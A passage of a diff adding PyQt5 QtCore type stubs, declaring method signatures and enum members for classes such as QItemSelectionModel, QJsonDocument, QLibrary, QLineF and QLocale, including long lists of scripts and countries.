QModelIndex, sourceColumn: int, count: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def moveRows(self, sourceParent: QModelIndex, sourceRow: int, count: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def sibling(self, row: int, column: int, idx: QModelIndex) -> QModelIndex: ... + def headerData(self, section: int, orientation: Qt.Orientation, role: int = ...) -> typing.Any: ... + def removeRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def removeColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def setSourceModel(self, sourceModel: QAbstractItemModel) -> None: ... + def match(self, start: QModelIndex, role: int, value: typing.Any, hits: int = ..., flags: typing.Union[Qt.MatchFlags, Qt.MatchFlag] = ...) -> typing.List[QModelIndex]: ... + def mapSelectionToSource(self, selection: 'QItemSelection') -> 'QItemSelection': ... + def mapSelectionFromSource(self, selection: 'QItemSelection') -> 'QItemSelection': ... + def dropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def rowCount(self, parent: QModelIndex = ...) -> int: ... + def parent(self, child: QModelIndex) -> QModelIndex: ... + def mapToSource(self, proxyIndex: QModelIndex) -> QModelIndex: ... + def mapFromSource(self, sourceIndex: QModelIndex) -> QModelIndex: ... + def index(self, row: int, column: int, parent: QModelIndex = ...) -> QModelIndex: ... + def columnCount(self, parent: QModelIndex = ...) -> int: ... + + +class QItemSelectionRange(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QItemSelectionRange') -> None: ... + @typing.overload + def __init__(self, atopLeft: QModelIndex, abottomRight: QModelIndex) -> None: ... + @typing.overload + def __init__(self, index: QModelIndex) -> None: ... + + def swap(self, other: 'QItemSelectionRange') -> None: ... + def isEmpty(self) -> bool: ... + def __hash__(self) -> int: ... + def intersected(self, other: 'QItemSelectionRange') -> 'QItemSelectionRange': ... + def indexes(self) -> typing.List[QModelIndex]: ... + def isValid(self) -> bool: ... + def intersects(self, other: 'QItemSelectionRange') -> bool: ... + @typing.overload + def contains(self, index: QModelIndex) -> bool: ... + @typing.overload + def contains(self, row: int, column: int, parentIndex: QModelIndex) -> bool: ... + def model(self) -> QAbstractItemModel: ... + def parent(self) -> QModelIndex: ... + def bottomRight(self) -> QPersistentModelIndex: ... + def topLeft(self) -> QPersistentModelIndex: ... + def height(self) -> int: ... + def width(self) -> int: ... + def right(self) -> int: ... + def bottom(self) -> int: ... + def left(self) -> int: ... + def top(self) -> int: ... + + +class QItemSelectionModel(QObject): + + class SelectionFlag(int): + NoUpdate = ... # type: QItemSelectionModel.SelectionFlag + Clear = ... # type: QItemSelectionModel.SelectionFlag + Select = ... # type: QItemSelectionModel.SelectionFlag + Deselect = ... # type: QItemSelectionModel.SelectionFlag + Toggle = ... # type: QItemSelectionModel.SelectionFlag + Current = ... # type: QItemSelectionModel.SelectionFlag + Rows = ... # type: QItemSelectionModel.SelectionFlag + Columns = ... # type: QItemSelectionModel.SelectionFlag + SelectCurrent = ... # type: QItemSelectionModel.SelectionFlag + ToggleCurrent = ... # type: QItemSelectionModel.SelectionFlag + ClearAndSelect = ... # type: QItemSelectionModel.SelectionFlag + + class SelectionFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QItemSelectionModel.SelectionFlags', 'QItemSelectionModel.SelectionFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QItemSelectionModel.SelectionFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QItemSelectionModel.SelectionFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, model: typing.Optional[QAbstractItemModel] = ...) -> None: ... + @typing.overload + def __init__(self, model: QAbstractItemModel, parent: QObject) -> None: ... + + def modelChanged(self, model: QAbstractItemModel) -> None: ... + def setModel(self, model: QAbstractItemModel) -> None: ... + def selectedColumns(self, row: int = ...) -> typing.List[QModelIndex]: ... + def selectedRows(self, column: int = ...) -> typing.List[QModelIndex]: ... + def hasSelection(self) -> bool: ... + def emitSelectionChanged(self, newSelection: 'QItemSelection', oldSelection: 'QItemSelection') -> None: ... + def currentColumnChanged(self, current: QModelIndex, previous: QModelIndex) -> None: ... + def currentRowChanged(self, current: QModelIndex, previous: QModelIndex) -> None: ... + def currentChanged(self, current: QModelIndex, previous: QModelIndex) -> None: ... + def selectionChanged(self, selected: 'QItemSelection', deselected: 'QItemSelection') -> None: ... + def clearCurrentIndex(self) -> None: ... + def setCurrentIndex(self, index: QModelIndex, command: typing.Union['QItemSelectionModel.SelectionFlags', 'QItemSelectionModel.SelectionFlag']) -> None: ... + @typing.overload + def select(self, index: QModelIndex, command: typing.Union['QItemSelectionModel.SelectionFlags', 'QItemSelectionModel.SelectionFlag']) -> None: ... + @typing.overload + def select(self, selection: 'QItemSelection', command: typing.Union['QItemSelectionModel.SelectionFlags', 'QItemSelectionModel.SelectionFlag']) -> None: ... + def reset(self) -> None: ... + def clearSelection(self) -> None: ... + def clear(self) -> None: ... + def model(self) -> QAbstractItemModel: ... + def selection(self) -> 'QItemSelection': ... + def selectedIndexes(self) -> typing.List[QModelIndex]: ... + def columnIntersectsSelection(self, column: int, parent: QModelIndex = ...) -> bool: ... + def rowIntersectsSelection(self, row: int, parent: QModelIndex = ...) -> bool: ... + def isColumnSelected(self, column: int, parent: QModelIndex = ...) -> bool: ... + def isRowSelected(self, row: int, parent: QModelIndex = ...) -> bool: ... + def isSelected(self, index: QModelIndex) -> bool: ... + def currentIndex(self) -> QModelIndex: ... + + +class QItemSelection(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, topLeft: QModelIndex, bottomRight: QModelIndex) -> None: ... + @typing.overload + def __init__(self, a0: 'QItemSelection') -> None: ... + + def lastIndexOf(self, value: QItemSelectionRange, from_: int = ...) -> int: ... + def indexOf(self, value: QItemSelectionRange, from_: int = ...) -> int: ... + def last(self) -> QItemSelectionRange: ... + def first(self) -> QItemSelectionRange: ... + def __len__(self) -> int: ... + @typing.overload + def count(self, range: QItemSelectionRange) -> int: ... + @typing.overload + def count(self) -> int: ... + def swap(self, i: int, j: int) -> None: ... + def move(self, from_: int, to: int) -> None: ... + def takeLast(self) -> QItemSelectionRange: ... + def takeFirst(self) -> QItemSelectionRange: ... + def takeAt(self, i: int) -> QItemSelectionRange: ... + def removeAll(self, range: QItemSelectionRange) -> int: ... + def removeAt(self, i: int) -> None: ... + def replace(self, i: int, range: QItemSelectionRange) -> None: ... + def insert(self, i: int, range: QItemSelectionRange) -> None: ... + def prepend(self, range: QItemSelectionRange) -> None: ... + def append(self, range: QItemSelectionRange) -> None: ... + def isEmpty(self) -> bool: ... + def clear(self) -> None: ... + @typing.overload + def __getitem__(self, i: int) -> QItemSelectionRange: ... + @typing.overload + def __getitem__(self, slice: slice) -> 'QItemSelection': ... + @typing.overload + def __delitem__(self, i: int) -> None: ... + @typing.overload + def __delitem__(self, slice: slice) -> None: ... + @typing.overload + def __setitem__(self, i: int, range: QItemSelectionRange) -> None: ... + @typing.overload + def __setitem__(self, slice: slice, list: 'QItemSelection') -> None: ... + @staticmethod + def split(range: QItemSelectionRange, other: QItemSelectionRange, result: 'QItemSelection') -> None: ... + def merge(self, other: 'QItemSelection', command: typing.Union[QItemSelectionModel.SelectionFlags, QItemSelectionModel.SelectionFlag]) -> None: ... + def indexes(self) -> typing.List[QModelIndex]: ... + def __contains__(self, index: QModelIndex) -> int: ... + def contains(self, index: QModelIndex) -> bool: ... + def select(self, topLeft: QModelIndex, bottomRight: QModelIndex) -> None: ... + + +class QJsonParseError(sip.simplewrapper): + + class ParseError(int): + NoError = ... # type: QJsonParseError.ParseError + UnterminatedObject = ... # type: QJsonParseError.ParseError + MissingNameSeparator = ... # type: QJsonParseError.ParseError + UnterminatedArray = ... # type: QJsonParseError.ParseError + MissingValueSeparator = ... # type: QJsonParseError.ParseError + IllegalValue = ... # type: QJsonParseError.ParseError + TerminationByNumber = ... # type: QJsonParseError.ParseError + IllegalNumber = ... # type: QJsonParseError.ParseError + IllegalEscapeSequence = ... # type: QJsonParseError.ParseError + IllegalUTF8String = ... # type: QJsonParseError.ParseError + UnterminatedString = ... # type: QJsonParseError.ParseError + MissingObject = ... # type: QJsonParseError.ParseError + DeepNesting = ... # type: QJsonParseError.ParseError + DocumentTooLarge = ... # type: QJsonParseError.ParseError + GarbageAtEnd = ... # type: QJsonParseError.ParseError + + error = ... # type: 'QJsonParseError.ParseError' + offset = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QJsonParseError') -> None: ... + + def errorString(self) -> str: ... + + +class QJsonDocument(sip.simplewrapper): + + class JsonFormat(int): + Indented = ... # type: QJsonDocument.JsonFormat + Compact = ... # type: QJsonDocument.JsonFormat + + class DataValidation(int): + Validate = ... # type: QJsonDocument.DataValidation + BypassValidation = ... # type: QJsonDocument.DataValidation + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, object: typing.Dict[str, typing.Union['QJsonValue', 'QJsonValue.Type', typing.Iterable['QJsonValue'], bool, int, float, None, str]]) -> None: ... + @typing.overload + def __init__(self, array: typing.Iterable['QJsonValue']) -> None: ... + @typing.overload + def __init__(self, other: 'QJsonDocument') -> None: ... + + @typing.overload + def __getitem__(self, key: str) -> 'QJsonValue': ... + @typing.overload + def __getitem__(self, i: int) -> 'QJsonValue': ... + def swap(self, other: 'QJsonDocument') -> None: ... + def isNull(self) -> bool: ... + def setArray(self, array: typing.Iterable['QJsonValue']) -> None: ... + def setObject(self, object: typing.Dict[str, typing.Union['QJsonValue', 'QJsonValue.Type', typing.Iterable['QJsonValue'], bool, int, float, None, str]]) -> None: ... + def array(self) -> typing.List['QJsonValue']: ... + def object(self) -> typing.Dict[str, typing.Union['QJsonValue', 'QJsonValue.Type', typing.Iterable['QJsonValue'], bool, int, float, None, str]]: ... + def isObject(self) -> bool: ... + def isArray(self) -> bool: ... + def isEmpty(self) -> bool: ... + @typing.overload + def toJson(self) -> QByteArray: ... + @typing.overload + def toJson(self, format: 'QJsonDocument.JsonFormat') -> QByteArray: ... + @staticmethod + def fromJson(json: typing.Union[QByteArray, bytes, bytearray], error: typing.Optional[QJsonParseError] = ...) -> 'QJsonDocument': ... + def toVariant(self) -> typing.Any: ... + @staticmethod + def fromVariant(variant: typing.Any) -> 'QJsonDocument': ... + def toBinaryData(self) -> QByteArray: ... + @staticmethod + def fromBinaryData(data: typing.Union[QByteArray, bytes, bytearray], validation: 'QJsonDocument.DataValidation' = ...) -> 'QJsonDocument': ... + def rawData(self) -> typing.Tuple[bytes, int]: ... + @staticmethod + def fromRawData(data: bytes, size: int, validation: 'QJsonDocument.DataValidation' = ...) -> 'QJsonDocument': ... + + +class QJsonValue(sip.simplewrapper): + + class Type(int): + Null = ... # type: QJsonValue.Type + Bool = ... # type: QJsonValue.Type + Double = ... # type: QJsonValue.Type + String = ... # type: QJsonValue.Type + Array = ... # type: QJsonValue.Type + Object = ... # type: QJsonValue.Type + Undefined = ... # type: QJsonValue.Type + + @typing.overload + def __init__(self, type: 'QJsonValue.Type' = ...) -> None: ... + @typing.overload + def __init__(self, other: typing.Union['QJsonValue', 'QJsonValue.Type', typing.Iterable['QJsonValue'], bool, int, float, None, str]) -> None: ... + + def __hash__(self) -> int: ... + @typing.overload + def __getitem__(self, key: str) -> 'QJsonValue': ... + @typing.overload + def __getitem__(self, i: int) -> 'QJsonValue': ... + def swap(self, other: 'QJsonValue') -> None: ... + @typing.overload + def toString(self) -> str: ... + @typing.overload + def toString(self, defaultValue: str) -> str: ... + @typing.overload + def toObject(self) -> typing.Dict[str, typing.Union['QJsonValue', 'QJsonValue.Type', typing.Iterable['QJsonValue'], bool, int, float, None, str]]: ... + @typing.overload + def toObject(self, defaultValue: typing.Dict[str, typing.Union['QJsonValue', 'QJsonValue.Type', typing.Iterable['QJsonValue'], bool, int, float, None, str]]) -> typing.Dict[str, typing.Union['QJsonValue', 'QJsonValue.Type', typing.Iterable['QJsonValue'], bool, int, float, None, str]]: ... + @typing.overload + def toArray(self) -> typing.List['QJsonValue']: ... + @typing.overload + def toArray(self, defaultValue: typing.Iterable['QJsonValue']) -> typing.List['QJsonValue']: ... + def toDouble(self, defaultValue: float = ...) -> float: ... + def toInt(self, defaultValue: int = ...) -> int: ... + def toBool(self, defaultValue: bool = ...) -> bool: ... + def isUndefined(self) -> bool: ... + def isObject(self) -> bool: ... + def isArray(self) -> bool: ... + def isString(self) -> bool: ... + def isDouble(self) -> bool: ... + def isBool(self) -> bool: ... + def isNull(self) -> bool: ... + def type(self) -> 'QJsonValue.Type': ... + def toVariant(self) -> typing.Any: ... + @staticmethod + def fromVariant(variant: typing.Any) -> 'QJsonValue': ... + + +class QLibrary(QObject): + + class LoadHint(int): + ResolveAllSymbolsHint = ... # type: QLibrary.LoadHint + ExportExternalSymbolsHint = ... # type: QLibrary.LoadHint + LoadArchiveMemberHint = ... # type: QLibrary.LoadHint + PreventUnloadHint = ... # type: QLibrary.LoadHint + DeepBindHint = ... # type: QLibrary.LoadHint + + class LoadHints(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QLibrary.LoadHints', 'QLibrary.LoadHint']) -> None: ... + @typing.overload + def __init__(self, a0: 'QLibrary.LoadHints') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QLibrary.LoadHints': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, verNum: int, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, version: str, parent: typing.Optional[QObject] = ...) -> None: ... + + def setLoadHints(self, hints: typing.Union['QLibrary.LoadHints', 'QLibrary.LoadHint']) -> None: ... + @typing.overload + def setFileNameAndVersion(self, fileName: str, verNum: int) -> None: ... + @typing.overload + def setFileNameAndVersion(self, fileName: str, version: str) -> None: ... + def setFileName(self, fileName: str) -> None: ... + @staticmethod + def isLibrary(fileName: str) -> bool: ... + def unload(self) -> bool: ... + @typing.overload + def resolve(self, symbol: str) -> PyQt5.sip.voidptr: ... + @typing.overload + @staticmethod + def resolve(fileName: str, symbol: str) -> PyQt5.sip.voidptr: ... + @typing.overload + @staticmethod + def resolve(fileName: str, verNum: int, symbol: str) -> PyQt5.sip.voidptr: ... + @typing.overload + @staticmethod + def resolve(fileName: str, version: str, symbol: str) -> PyQt5.sip.voidptr: ... + def loadHints(self) -> 'QLibrary.LoadHints': ... + def load(self) -> bool: ... + def isLoaded(self) -> bool: ... + def fileName(self) -> str: ... + def errorString(self) -> str: ... + + +class QLibraryInfo(sip.simplewrapper): + + class LibraryLocation(int): + PrefixPath = ... # type: QLibraryInfo.LibraryLocation + DocumentationPath = ... # type: QLibraryInfo.LibraryLocation + HeadersPath = ... # type: QLibraryInfo.LibraryLocation + LibrariesPath = ... # type: QLibraryInfo.LibraryLocation + BinariesPath = ... # type: QLibraryInfo.LibraryLocation + PluginsPath = ... # type: QLibraryInfo.LibraryLocation + DataPath = ... # type: QLibraryInfo.LibraryLocation + TranslationsPath = ... # type: QLibraryInfo.LibraryLocation + SettingsPath = ... # type: QLibraryInfo.LibraryLocation + ExamplesPath = ... # type: QLibraryInfo.LibraryLocation + ImportsPath = ... # type: QLibraryInfo.LibraryLocation + TestsPath = ... # type: QLibraryInfo.LibraryLocation + LibraryExecutablesPath = ... # type: QLibraryInfo.LibraryLocation + Qml2ImportsPath = ... # type: QLibraryInfo.LibraryLocation + ArchDataPath = ... # type: QLibraryInfo.LibraryLocation + + def __init__(self, a0: 'QLibraryInfo') -> None: ... + + @staticmethod + def version() -> 'QVersionNumber': ... + @staticmethod + def isDebugBuild() -> bool: ... + @staticmethod + def buildDate() -> QDate: ... + @staticmethod + def location(a0: 'QLibraryInfo.LibraryLocation') -> str: ... + @staticmethod + def licensedProducts() -> str: ... + @staticmethod + def licensee() -> str: ... + + +class QLine(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pt1_: 'QPoint', pt2_: 'QPoint') -> None: ... + @typing.overload + def __init__(self, x1pos: int, y1pos: int, x2pos: int, y2pos: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QLine') -> None: ... + + def center(self) -> 'QPoint': ... + def setLine(self, aX1: int, aY1: int, aX2: int, aY2: int) -> None: ... + def setPoints(self, aP1: 'QPoint', aP2: 'QPoint') -> None: ... + def setP2(self, aP2: 'QPoint') -> None: ... + def setP1(self, aP1: 'QPoint') -> None: ... + @typing.overload + def translated(self, p: 'QPoint') -> 'QLine': ... + @typing.overload + def translated(self, adx: int, ady: int) -> 'QLine': ... + @typing.overload + def translate(self, point: 'QPoint') -> None: ... + @typing.overload + def translate(self, adx: int, ady: int) -> None: ... + def dy(self) -> int: ... + def dx(self) -> int: ... + def p2(self) -> 'QPoint': ... + def p1(self) -> 'QPoint': ... + def y2(self) -> int: ... + def x2(self) -> int: ... + def y1(self) -> int: ... + def x1(self) -> int: ... + def __bool__(self) -> int: ... + def isNull(self) -> bool: ... + def __repr__(self) -> str: ... + + +class QLineF(sip.simplewrapper): + + class IntersectType(int): + NoIntersection = ... # type: QLineF.IntersectType + BoundedIntersection = ... # type: QLineF.IntersectType + UnboundedIntersection = ... # type: QLineF.IntersectType + + @typing.overload + def __init__(self, line: QLine) -> None: ... + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, apt1: typing.Union['QPointF', 'QPoint'], apt2: typing.Union['QPointF', 'QPoint']) -> None: ... + @typing.overload + def __init__(self, x1pos: float, y1pos: float, x2pos: float, y2pos: float) -> None: ... + @typing.overload + def __init__(self, a0: 'QLineF') -> None: ... + + def center(self) -> 'QPointF': ... + def setLine(self, aX1: float, aY1: float, aX2: float, aY2: float) -> None: ... + def setPoints(self, aP1: typing.Union['QPointF', 'QPoint'], aP2: typing.Union['QPointF', 'QPoint']) -> None: ... + def setP2(self, aP2: typing.Union['QPointF', 'QPoint']) -> None: ... + def setP1(self, aP1: typing.Union['QPointF', 'QPoint']) -> None: ... + @typing.overload + def translated(self, p: typing.Union['QPointF', 'QPoint']) -> 'QLineF': ... + @typing.overload + def translated(self, adx: float, ady: float) -> 'QLineF': ... + def angleTo(self, l: 'QLineF') -> float: ... + def setAngle(self, angle: float) -> None: ... + def angle(self) -> float: ... + @staticmethod + def fromPolar(length: float, angle: float) -> 'QLineF': ... + def toLine(self) -> QLine: ... + def pointAt(self, t: float) -> 'QPointF': ... + def setLength(self, len: float) -> None: ... + @typing.overload + def translate(self, point: typing.Union['QPointF', 'QPoint']) -> None: ... + @typing.overload + def translate(self, adx: float, ady: float) -> None: ... + def normalVector(self) -> 'QLineF': ... + def dy(self) -> float: ... + def dx(self) -> float: ... + def p2(self) -> 'QPointF': ... + def p1(self) -> 'QPointF': ... + def y2(self) -> float: ... + def x2(self) -> float: ... + def y1(self) -> float: ... + def x1(self) -> float: ... + def __repr__(self) -> str: ... + def intersects(self, l: 'QLineF') -> typing.Tuple['QLineF.IntersectType', 'QPointF']: ... + def intersect(self, l: 'QLineF', intersectionPoint: typing.Union['QPointF', 'QPoint']) -> 'QLineF.IntersectType': ... + def unitVector(self) -> 'QLineF': ... + def length(self) -> float: ... + def __bool__(self) -> int: ... + def isNull(self) -> bool: ... + + +class QLocale(sip.simplewrapper): + + class DataSizeFormat(int): + DataSizeIecFormat = ... # type: QLocale.DataSizeFormat + DataSizeTraditionalFormat = ... # type: QLocale.DataSizeFormat + DataSizeSIFormat = ... # type: QLocale.DataSizeFormat + + class FloatingPointPrecisionOption(int): + FloatingPointShortest = ... # type: QLocale.FloatingPointPrecisionOption + + class QuotationStyle(int): + StandardQuotation = ... # type: QLocale.QuotationStyle + AlternateQuotation = ... # type: QLocale.QuotationStyle + + class CurrencySymbolFormat(int): + CurrencyIsoCode = ... # type: QLocale.CurrencySymbolFormat + CurrencySymbol = ... # type: QLocale.CurrencySymbolFormat + CurrencyDisplayName = ... # type: QLocale.CurrencySymbolFormat + + class Script(int): + AnyScript = ... # type: QLocale.Script + ArabicScript = ... # type: QLocale.Script + CyrillicScript = ... # type: QLocale.Script + DeseretScript = ... # type: QLocale.Script + GurmukhiScript = ... # type: QLocale.Script + SimplifiedHanScript = ... # type: QLocale.Script + TraditionalHanScript = ... # type: QLocale.Script + LatinScript = ... # type: QLocale.Script + MongolianScript = ... # type: QLocale.Script + TifinaghScript = ... # type: QLocale.Script + SimplifiedChineseScript = ... # type: QLocale.Script + TraditionalChineseScript = ... # type: QLocale.Script + ArmenianScript = ... # type: QLocale.Script + BengaliScript = ... # type: QLocale.Script + CherokeeScript = ... # type: QLocale.Script + DevanagariScript = ... # type: QLocale.Script + EthiopicScript = ... # type: QLocale.Script + GeorgianScript = ... # type: QLocale.Script + GreekScript = ... # type: QLocale.Script + GujaratiScript = ... # type: QLocale.Script + HebrewScript = ... # type: QLocale.Script + JapaneseScript = ... # type: QLocale.Script + KhmerScript = ... # type: QLocale.Script + KannadaScript = ... # type: QLocale.Script + KoreanScript = ... # type: QLocale.Script + LaoScript = ... # type: QLocale.Script + MalayalamScript = ... # type: QLocale.Script + MyanmarScript = ... # type: QLocale.Script + OriyaScript = ... # type: QLocale.Script + TamilScript = ... # type: QLocale.Script + TeluguScript = ... # type: QLocale.Script + ThaanaScript = ... # type: QLocale.Script + ThaiScript = ... # type: QLocale.Script + TibetanScript = ... # type: QLocale.Script + SinhalaScript = ... # type: QLocale.Script + SyriacScript = ... # type: QLocale.Script + YiScript = ... # type: QLocale.Script + VaiScript = ... # type: QLocale.Script + AvestanScript = ... # type: QLocale.Script + BalineseScript = ... # type: QLocale.Script + BamumScript = ... # type: QLocale.Script + BatakScript = ... # type: QLocale.Script + BopomofoScript = ... # type: QLocale.Script + BrahmiScript = ... # type: QLocale.Script + BugineseScript = ... # type: QLocale.Script + BuhidScript = ... # type: QLocale.Script + CanadianAboriginalScript = ... # type: QLocale.Script + CarianScript = ... # type: QLocale.Script + ChakmaScript = ... # type: QLocale.Script + ChamScript = ... # type: QLocale.Script + CopticScript = ... # type: QLocale.Script + CypriotScript = ... # type: QLocale.Script + EgyptianHieroglyphsScript = ... # type: QLocale.Script + FraserScript = ... # type: QLocale.Script + GlagoliticScript = ... # type: QLocale.Script + GothicScript = ... # type: QLocale.Script + HanScript = ... # type: QLocale.Script + HangulScript = ... # type: QLocale.Script + HanunooScript = ... # type: QLocale.Script + ImperialAramaicScript = ... # type: QLocale.Script + InscriptionalPahlaviScript = ... # type: QLocale.Script + InscriptionalParthianScript = ... # type: QLocale.Script + JavaneseScript = ... # type: QLocale.Script + KaithiScript = ... # type: QLocale.Script + KatakanaScript = ... # type: QLocale.Script + KayahLiScript = ... # type: QLocale.Script + KharoshthiScript = ... # type: QLocale.Script + LannaScript = ... # type: QLocale.Script + LepchaScript = ... # type: QLocale.Script + LimbuScript = ... # type: QLocale.Script + LinearBScript = ... # type: QLocale.Script + LycianScript = ... # type: QLocale.Script + LydianScript = ... # type: QLocale.Script + MandaeanScript = ... # type: QLocale.Script + MeiteiMayekScript = ... # type: QLocale.Script + MeroiticScript = ... # type: QLocale.Script + MeroiticCursiveScript = ... # type: QLocale.Script + NkoScript = ... # type: QLocale.Script + NewTaiLueScript = ... # type: QLocale.Script + OghamScript = ... # type: QLocale.Script + OlChikiScript = ... # type: QLocale.Script + OldItalicScript = ... # type: QLocale.Script + OldPersianScript = ... # type: QLocale.Script + OldSouthArabianScript = ... # type: QLocale.Script + OrkhonScript = ... # type: QLocale.Script + OsmanyaScript = ... # type: QLocale.Script + PhagsPaScript = ... # type: QLocale.Script + PhoenicianScript = ... # type: QLocale.Script + PollardPhoneticScript = ... # type: QLocale.Script + RejangScript = ... # type: QLocale.Script + RunicScript = ... # type: QLocale.Script + SamaritanScript = ... # type: QLocale.Script + SaurashtraScript = ... # type: QLocale.Script + SharadaScript = ... # type: QLocale.Script + ShavianScript = ... # type: QLocale.Script + SoraSompengScript = ... # type: QLocale.Script + CuneiformScript = ... # type: QLocale.Script + SundaneseScript = ... # type: QLocale.Script + SylotiNagriScript = ... # type: QLocale.Script + TagalogScript = ... # type: QLocale.Script + TagbanwaScript = ... # type: QLocale.Script + TaiLeScript = ... # type: QLocale.Script + TaiVietScript = ... # type: QLocale.Script + TakriScript = ... # type: QLocale.Script + UgariticScript = ... # type: QLocale.Script + BrailleScript = ... # type: QLocale.Script + HiraganaScript = ... # type: QLocale.Script + CaucasianAlbanianScript = ... # type: QLocale.Script + BassaVahScript = ... # type: QLocale.Script + DuployanScript = ... # type: QLocale.Script + ElbasanScript = ... # type: QLocale.Script + GranthaScript = ... # type: QLocale.Script + PahawhHmongScript = ... # type: QLocale.Script + KhojkiScript = ... # type: QLocale.Script + LinearAScript = ... # type: QLocale.Script + MahajaniScript = ... # type: QLocale.Script + ManichaeanScript = ... # type: QLocale.Script + MendeKikakuiScript = ... # type: QLocale.Script + ModiScript = ... # type: QLocale.Script + MroScript = ... # type: QLocale.Script + OldNorthArabianScript = ... # type: QLocale.Script + NabataeanScript = ... # type: QLocale.Script + PalmyreneScript = ... # type: QLocale.Script + PauCinHauScript = ... # type: QLocale.Script + OldPermicScript = ... # type: QLocale.Script + PsalterPahlaviScript = ... # type: QLocale.Script + SiddhamScript = ... # type: QLocale.Script + KhudawadiScript = ... # type: QLocale.Script + TirhutaScript = ... # type: QLocale.Script + VarangKshitiScript = ... # type: QLocale.Script + AhomScript = ... # type: QLocale.Script + AnatolianHieroglyphsScript = ... # type: QLocale.Script + HatranScript = ... # type: QLocale.Script + MultaniScript = ... # type: QLocale.Script + OldHungarianScript = ... # type: QLocale.Script + SignWritingScript = ... # type: QLocale.Script + AdlamScript = ... # type: QLocale.Script + BhaiksukiScript = ... # type: QLocale.Script + MarchenScript = ... # type: QLocale.Script + NewaScript = ... # type: QLocale.Script + OsageScript = ... # type: QLocale.Script + TangutScript = ... # type: QLocale.Script + HanWithBopomofoScript = ... # type: QLocale.Script + JamoScript = ... # type: QLocale.Script + + class MeasurementSystem(int): + MetricSystem = ... # type: QLocale.MeasurementSystem + ImperialSystem = ... # type: QLocale.MeasurementSystem + ImperialUSSystem = ... # type: QLocale.MeasurementSystem + ImperialUKSystem = ... # type: QLocale.MeasurementSystem + + class FormatType(int): + LongFormat = ... # type: QLocale.FormatType + ShortFormat = ... # type: QLocale.FormatType + NarrowFormat = ... # type: QLocale.FormatType + + class NumberOption(int): + OmitGroupSeparator = ... # type: QLocale.NumberOption + RejectGroupSeparator = ... # type: QLocale.NumberOption + DefaultNumberOptions = ... # type: QLocale.NumberOption + OmitLeadingZeroInExponent = ... # type: QLocale.NumberOption + RejectLeadingZeroInExponent = ... # type: QLocale.NumberOption + IncludeTrailingZeroesAfterDot = ... # type: QLocale.NumberOption + RejectTrailingZeroesAfterDot = ... # type: QLocale.NumberOption + + class Country(int): + AnyCountry = ... # type: QLocale.Country + Afghanistan = ... # type: QLocale.Country + Albania = ... # type: QLocale.Country + Algeria = ... # type: QLocale.Country + AmericanSamoa = ... # type: QLocale.Country + Andorra = ... # type: QLocale.Country + Angola = ... # type: QLocale.Country + Anguilla = ... # type: QLocale.Country + Antarctica = ... # type: QLocale.Country + AntiguaAndBarbuda = ... # type: QLocale.Country + Argentina = ... # type: QLocale.Country + Armenia = ... # type: QLocale.Country + Aruba = ... # type: QLocale.Country + Australia = ... # type: QLocale.Country + Austria = ... # type: QLocale.Country + Azerbaijan = ... # type: QLocale.Country + Bahamas = ... # type: QLocale.Country + Bahrain = ... # type: QLocale.Country + Bangladesh = ... # type: QLocale.Country + Barbados = ... # type: QLocale.Country + Belarus = ... # type: QLocale.Country + Belgium = ... # type: QLocale.Country + Belize = ... # type: QLocale.Country + Benin = ... # type: QLocale.Country + Bermuda = ... # type: QLocale.Country + Bhutan = ... # type: QLocale.Country + Bolivia = ... # type: QLocale.Country + BosniaAndHerzegowina = ... # type: QLocale.Country + Botswana = ... # type: QLocale.Country + BouvetIsland = ... # type: QLocale.Country + Brazil = ... # type: QLocale.Country + BritishIndianOceanTerritory = ... # type: QLocale.Country + Bulgaria = ... # type: QLocale.Country + BurkinaFaso = ... # type: QLocale.Country + Burundi = ... # type: QLocale.Country + Cambodia = ... # type: QLocale.Country + Cameroon = ... # type: QLocale.Country + Canada = ... # type: QLocale.Country + CapeVerde = ... # type: QLocale.Country + CaymanIslands = ... # type: QLocale.Country + CentralAfricanRepublic = ... # type: QLocale.Country + Chad = ... # type: QLocale.Country + Chile = ... # type: QLocale.Country + China = ... # type: QLocale.Country + ChristmasIsland = ... # type: QLocale.Country + CocosIslands = ... # type: QLocale.Country + Colombia = ... # type: QLocale.Country + Comoros = ... # type: QLocale.Country + DemocraticRepublicOfCongo = ... # type: QLocale.Country + PeoplesRepublicOfCongo = ... # type: QLocale.Country + CookIslands = ... # type: QLocale.Country + CostaRica = ... # type: QLocale.Country + IvoryCoast = ... # type: QLocale.Country + Croatia = ... # type: QLocale.Country + Cuba = ... # type: QLocale.Country + Cyprus = ... # type: QLocale.Country + CzechRepublic = ... # type: QLocale.Country + Denmark = ... # type: QLocale.Country + Djibouti = ... # type: QLocale.Country + Dominica = ... # type: QLocale.Country + DominicanRepublic = ... # type: 